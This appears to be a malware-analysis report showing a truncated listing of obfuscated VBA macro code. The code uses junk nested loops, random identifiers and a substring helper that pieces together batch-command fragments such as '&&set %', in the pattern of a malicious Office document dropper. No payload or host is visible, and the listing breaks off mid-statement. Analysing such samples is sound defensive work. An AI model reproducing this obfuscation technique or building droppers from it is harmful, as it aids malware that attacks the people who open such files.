In Uifbp clPXSX = TrWzd Next Next EPSMivd = GdqXwCnNOWM + """" + vFSqsXj hUDOOlajufizz = RzPitImLw + vwIZJojdYF + PrDDQicjK + EPSMivd + CFMUrdKj + RdzluNuzMbi + iQKBwMDDO + dzzziMb + ktzVqSLJNh + SIMpqbZWn + wfCFiDiOXd + BaFVfNTdwMw + hBbqG + cTJQlptV + tFIWYwSGOzM + iCnYmCdcJ + KSvHNWmk + tKMPFCaD + IIjUHsjLXV + KiKbb + VTjcpztF + GquOXGOKqw + KtUdHkfKRU + zBnJrzMOT + dMGVJzVnbD + YEIpVu + iOKUfaqqi + lXNwnUOzSG + qtdiO + JRwkKh + hUdCPpi + uYTrCjUHqN + qbcAM + wzRkpUjShD + QYYwGdNM + ZrdqMiUjwz + izWzYQ + jkpFaXFqjw + ViwUETKU + ZjzBstKqjq + plvhwtLcvj + ZaSEGmzJcDp + mEzUEASZ + wrfQhFfiIBF + XqSdUjUbnSV + HuuTmMYwirm + vXCTvfCnojw + UjSUMKs + NBzbVjBbsGI + aSERO + irQdDzpPWNi + iYFib + dLznEolz + DsUwwnN + ULnWbNzz + VmWrjo + LdfOk + OLrXwuaNw + GXhMDwcW For Each CYOPD In WRjdw Set PEhHVQ = KVJpJ Jvjlb = 24048 - qJWWks For Each mRPuv In KmBfM MwWEt = FDtbnj Next Next QQIFh = (Xcubt - ChrB(11888)) End Function Attribute VB_Name = "WjjICRd" Function PrDDQicjK() On Error Resume Next For Each MqYiT In VjTRtz zvddnp = 7316 - AorUw For Each uIANSa In jAIVPE mLOcm = swjGP Next Next plvhwtLcvj = fBpVua("%pBZUs&&set %iKwJbPd%qMbh", 5, 17) For Each MpMBhO In taXSE WEOuVH = 46118 - jkpZPh For Each qwZuwY In DXwaG LtOsJA = NiDNw Next Next For Each lbiSc In bMRJD mswwj = 99409 - aKEJW For Each ddsEI In MwhhWc JiwAm = YTzud Next Next iYFib = fBpVua("dusFVCPdjH%=!%hUDOOlaMvn6q", 3, 19) For Each IXlQP In RMDwbj IYrbE = 20270 - UQpkbK For Each Czvdi In BANaj AEQMK = Psdih Next Next For Each DbYiCw In XRfUwz cXhpT = 57916 - QYMuC For Each DPnzU In YsfBwb NvJHFw = uJXZwj Next Next irQdDzpPWNi = fBpVua("z9lNzQaUDOOlan4", 8, 6) For Each lmDMn In wlIijz aPwVl = 26840 - QKGQGw For Each HusNC In tmGcpJ tcnfbG = YiNBoj Next Next For Each vKGiCw In pFPvH VLWTPF = 41988 - faPubz For Each pWlHm In ZCqnr sIAbV = VDjmE Next Next hUdCPpi = fBpVua("KsdQRCoGMAO%=nsKV", 3, 11) For Each WMmQkr In bzpAid UZwJjf = 45125 - difzup For Each vqCSB In ZbISzD HDHRz = jwGWGY Next Next For Each KfSKn In RLfhQ VpXzi = 63905 - vwzRVk For Each aHjhpl In CTtdvt LNDCYB = oiYFHX Next Next KiKbb = fBpVua("bJ&&set %iXhPfDzQdzW47hDn", 3, 17) For Each RNNzaz In Kiwrfj WiTmo = 86542 - ltPziz For Each dIbiNw In GjjUvs iFLsS = SAEST Next Next For Each wRPqFC In ljRaoI FrcIoi = 3716 - tQuVG For Each uPamHL In LvmZrU vYcdFH = szUbZn Next Next hBbqG = fBpVua("itRQHKaw&&set %WUddidqBFm", 2, 19) For Each Yzvkwh In RqojwJ wpiwOM = 45380 - nQPwS For Each PGLiX In nvqpv wihozI = hwJliL Next Next For Each EDPqm In XJJKu FnjhSW = 1658 - Asbjj For Each XHdCi In UYiKz arpnUY = opntf Next Next QYYwGdNM = fBpVua("6RTKKRsBJ%=JNkSis5ANX", 2, 13) For Each ulRDM In jKVwQj fVHjJ = 47123 - svJRNY For Each irbkO In zjmCVS OPFuZG = sjjJi Next Next For Each LjMfij In jGMBi ROiwc = 95596 - wBtDol For Each OrdlYY In bwLFd ozWDFZ = ptBbi Next Next YEIpVu = fBpVua("lpRHbjufizz%!&&set %PmCim", 6, 18) For Each KhKmIr In FFscbc ApPSs = 97241 - Ewiqw For Each imUpC In wOlRM NkajH = ccPGzd Next Next For Each vqjVj In KWifL mPvWW = 9541 - hEFjaE For Each MzJjf In lvIfiP jXRAK = dJrKS Next Next KtUdHkfKRU = fBpVua("m1oL=p&&set %h3ab", 5, 10) For Each IAHTp In IRbDM wAZfq = 14205 - oGsGJ For Each FVGbwV In rPXlic UZwkd = EBKvw Next Next For Each MzjdDf In puwDAa zBBjwK = 93327 - aqLLd For Each pjYCHh In zwAohW kJZVW = VDNKDp Next Next LdfOk = fBpVua("5N2aq&&i2o", 4, 4) For Each FYtRsB In zLZBts zFArOo = 77275 - RRqpr For Each lVOzR In haDjwf IZkYbd = XwNSoB Next Next For Each HXOhT In pMYEUc stwBL = 66140 - CJioc For Each vXmUs In ibSKz rikVr = qZELfL Next Next tKMPFCaD = fBpVua("bnam=!%TFVdIfjnWWbi", 5, 13) For Each BMPKw In ZEBwRZ LTuiZ = 66737 - rTzjhS For Each zDMjrb In roSQT XFpkT = maXiWm Next Next For Each XodKjV In QOfnFi vljuc = 3123 - ONcuo For Each ZOjBq In EsDYZS NAQDm = ZSjjT Next Next zBnJrzMOT = fBpVua("iuFj2EsaUQqs", 6, 4) For Each EbnJbA In uHLCh ziZirN = 12342 - VoEzJp For Each PvqiMO In wQjcXJ zBziZ = bzorSN Next Next For Each MkHdA In USXMXl vsKGZc = 99595 - bjIYs For Each XZRVWw In tbszw rwstz = nROKT Next Next KSvHNWmk = fBpVua("1qqD0Cset %fvwFMoz21K", 7, 12) For Each civlDw In IdzsG AnjBRR = 16885 - VIXimI For Each FfIPz In tUGIX sodtEm = zjGPz Next Next For Each ZDMJr In ASKSu CsUWs = 57813 - ZYPjw For Each WIRVuq In RBViCw mfNRm = WCcwzb Next Next ZjzBstKqjq = fBpVua("UzmVz%!WHqXrwW", 3, 5) For Each mMvKW In hUKiw bLpBX = 81638 - vQNtK For Each uHFUfV In TdwFG HlOtc = RBKdjA Next Next For Each OCFuio In ApXQc irupI = 68042 - cjnwj For Each tkJwv In widUr uzIrb = OaQVH Next Next NBzbVjBbsGI = fBpVua("HUfSljufizz%=oMbQcWwdG", 6, 11) For Each SIIhzi In HLRvd tbtikE = 42679 - lOjIl For Each RjIwX In WinNQj FkscEi = itUwf Next Next For Each rVkrIG In dwzFC aipzW = 45024 - lvzsK For Each EzDPVw In JzNqQ Jjiuv = FFiLP Next Next DsUwwnN = fBpVua("lRsIM8AIn&&set %zaBdJHX", 7, 14) For Each mJGKv In sjZCE iiGzKd = 33146 - iKObGA For Each WEdVn In wipvzB wjmGiE = RPGvF Next Next For Each IXqhh In kNPJww aIfCGh = 89319 - iPfdJ For Each DGjbPW In KstWF RsVEj = czGpm Next Next dMGVJzVnbD = fBpVua("SaE%=s&sKz.Iq", 3, 5) For Each FTVZH In DYrhH hjbfQQ = 73485 - AjdHNL For Each OhtwQu In KCnkk ShIjln = Amzjp Next Next For Each rjibN In cboTOf wNuzk = 27304 - ljHRkY For Each PzYuz In sSQKVn OLSuw = ajQFdz Next Next RdzluNuzMbi = fBpVua("qLKjH%!!%WUddiLqwJGFN6k", 4, 17) For Each jWLcRr In XMbQZP Tizjcz = 20066 - aNMTJ For Each pztuuz In VGosi jCjBUi = GCTVBB Next Next For Each jBRkhI In spqzp WAfrF = 5565 - pBEOn For Each PaiCIi In OFWzV mNSnv = OErjQ Next Next BaFVfNTdwMw = fBpVua("9H4LqwJGFmVz%=eMbQcWr&&seWmzLI,", 4, 18) For Each ndUBf In CwzstK hUTFRi = 66714 - mQuWN For Each IZjYr In sVBBN ZuYWtT = ANlvw Next Next For Each ipJjUo In KzJzIu zbPnp = 24337 - zdTDrc For Each VDBFM In nowwi uatoQ = zSuHGc Next Next iOKUfaqqi = fBpVua("Hpafrset %TFVdIfjnWW%Tp8", 6, 16) For Each fLjLp In dMppuI wmSLiQ = 15552 - RHEoCI For Each KMOwYk In wGcHTB FlzjXz = zjdpU Next Next For Each kLDMR In JWciO HTKGrM = 64114 - zcUKR For Each qYFXC In YsQVUC qvUWLc = Bbmclq Next Next tFIWYwSGOzM = fBpVua("kbw%!&&set %ZRlhWOBLaL", 4, 15) For Each iAIrs In LhlQFc SOCol = 79787 - qQiFJ For Each cEPldm In WtrIi HiJJDR = EXmYzq …

Open this report in the interactive analyzer, or submit your own file for analysis.